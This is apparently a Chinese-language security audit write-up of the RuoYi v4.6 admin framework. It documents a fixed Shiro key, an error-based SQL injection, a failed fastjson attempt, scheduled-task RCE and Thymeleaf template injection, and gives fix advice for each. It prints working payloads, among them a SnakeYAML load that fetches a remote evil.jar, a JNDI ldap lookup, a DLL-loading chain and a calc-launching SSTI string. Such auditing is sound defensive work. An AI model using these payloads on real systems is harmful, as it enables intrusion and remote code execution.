若依v4.6
查看pom.xml依赖组件
首先看一下pom.xml依赖组件

fastjson 1.2.74版本有点高
还不是很会jackson 2.10.5

多个链子可以打

mysql 8.0.22 应该打不了

Shiro版本为1.7.0

thymeleaf version 3.0.11 做视图解析
snakeyaml version 1.25 解析yaml文件
登录部分
定位到 /login

来到SysLoginController这里

获取前端输入的账号密码包装成token 获取subject对象 shiro里面指代的用户对象
携带token进入shiro的login方法
整个流程就是shiro框架登录的流程 直接看看realms配置
看看shiro配置类

一些静态资源不鉴权 其他的所有路径 /** 都会鉴权
查看UserRealms

如果登录上的用户是admin用户 那就有所有权限
如果不是的话就是普通用户 并且通过userid去唯一确定某个普通用户
功能点也是通过userid去分配
shiro固定key
看看有无shiro固定密钥

在ruyi-admin/src/main/resource/application.yml中存在固定shirokey
使用工具尝试反序列化

使用aes gcm模式尝试检测密钥 显示成功

反序列化执行成功
存在固定密钥
修复建议
不要使用固定key
sql注入
若依使用的是mybatis框架 我们直接全局搜索
1 | ${ |

存在使用未预编译的参数

注意这里的参数在实际访问的形式应该是数组形式
params[dataScope]
寻找Controller

根据名字直接去网页上面找
1 | /system/user/list |

点击用户管理 并抓包

可以找到对应的路由与参数信息
默认是没有params[dataScope]
我们直接加上

一个单引号直接报错了 存在报错注入
1 | pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms[dataScope]=and(extractvalue(1,concat(0x23,version(),0x00)))%23 |

成功执行报错注入
修复建议
在一定要使用${的地方一定要做好限制 加白加黑
fastjson (暂时打不出来)
依赖包中存在fastjson 1.2.74版本有点高不好打
全局搜索
1 | parseObject( |

有几个结果

第一个方法里面 被调用都是在匿名类中被调用 应该没法利用

这个方法有在一个Controller被调用了 应该可以利用

/tool/gen/edit路由接收一个genTable参数
我们去网页上面找找

点击保存并抓包

有一堆参数 调试一下

第一个判断就寄了 是参数里面有个值不对

某个值要是tree

继续调试

只获取了参数里面Params里面的值 尝试修改key打payload


多次尝试 options里面的参数顺序总是val在前 @type在后
发现这里的逻辑是先获取参数并先放到一个hashmap里面 然后再取里面的参数转为String之后拿去解析

hashmap是无序的 具体参数的顺序是根据key的hashcode 导致val总是在@type前面 至少是dnslog打不了
目前只能说 这里可能存在fastjson漏洞
这里利用也有点苛刻 一般都是可以直接接收json格式的数据 这里只能构造键值对去打
不知道有没有大佬这里利用出来了()
修复建议
可以直接使用fastjson2 或者 开启safemode 又或者每次解析的时候都相对应的类
定时任务rce
若依后台有一个定时任务
定时任务大概率可能是通过反射调用 或者直接有什么接口可以输出代码执行
寻找有关定时任务的内容

不是有个装门搞定时任务的项目文件夹吗
在这里面找到util工具包 里面有个定时任务执行的java文件
里面有invokeMethod方法 这里就是最后定时任务执行的地方
确实是反射调用

分别获取任务 bean名 方法名 参数值列表

通过加载bean的class 并通过无参构造器去获得实例 最后执行方法
这里其实就有点类似ctf题了
什么类有无参构造器 并且内部有什么方法可以直接通过参数去命令执行
最后的调用形式可以简单写成
1 | 对象.方法(参数...) |
这里刚好是有snakeyaml的jar包 所以可以直接用Yaml.load()打反序列化
1 | org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8888/evil.jar"]]]]') |
思考了一下
首先想到3个可以直接命令执行的类
Runtime 是单例模式
ProcessBuilder 只能通过ProcessBuilder(cmd).start()的形式执行
ProcessImpl 没有无参构造器
之后又想了一下 可以直接打jndi 当然还得看jdk版本就是了
1 | javax.naming.InitialContext.lookup('ldap://127.0.0.1:4321/Calc') |
其他
看到有一个师傅这里打jni 绕过高版本的若依在定时任务的限制
这里有一定权限的代码执行 可以打jni 本质是dll注入
基本思路是文件上传 然后修改文件名 加载恶意dll文件
1 | ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying('D:\RuoYi\RuoYi-v4.8.1\uploadPath\upload\2026\5\7\1.txt,D:\RuoYi\RuoYi-v4.8.1\uploadPath\upload\2026\5\7\1.dll') |
1 | com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../../RuoYi/RuoYi-v4.8.1/uploadPath/upload/2026/5/7/1') |
如果是oracle的jdk下面那个类就会有
修复建议
加白加黑 限制加载的类的种类
Thymeleaf模板注入
全局搜索::

存在片段引用 且参数可控
直接打
1 | __${T(java.lang.Runtime).getRuntime().exec("calc")}__ |
修复建议
要么提高版本使用Thymeleaf2 要么使用RestController
小结
版本还是比较老的 新版本基本都修了
而且现在谁还还在用前后端不分离的项目 若依有个spring-vue的前后端版本 模板注入就打不了了 其他的也修了基本
说些什么吧!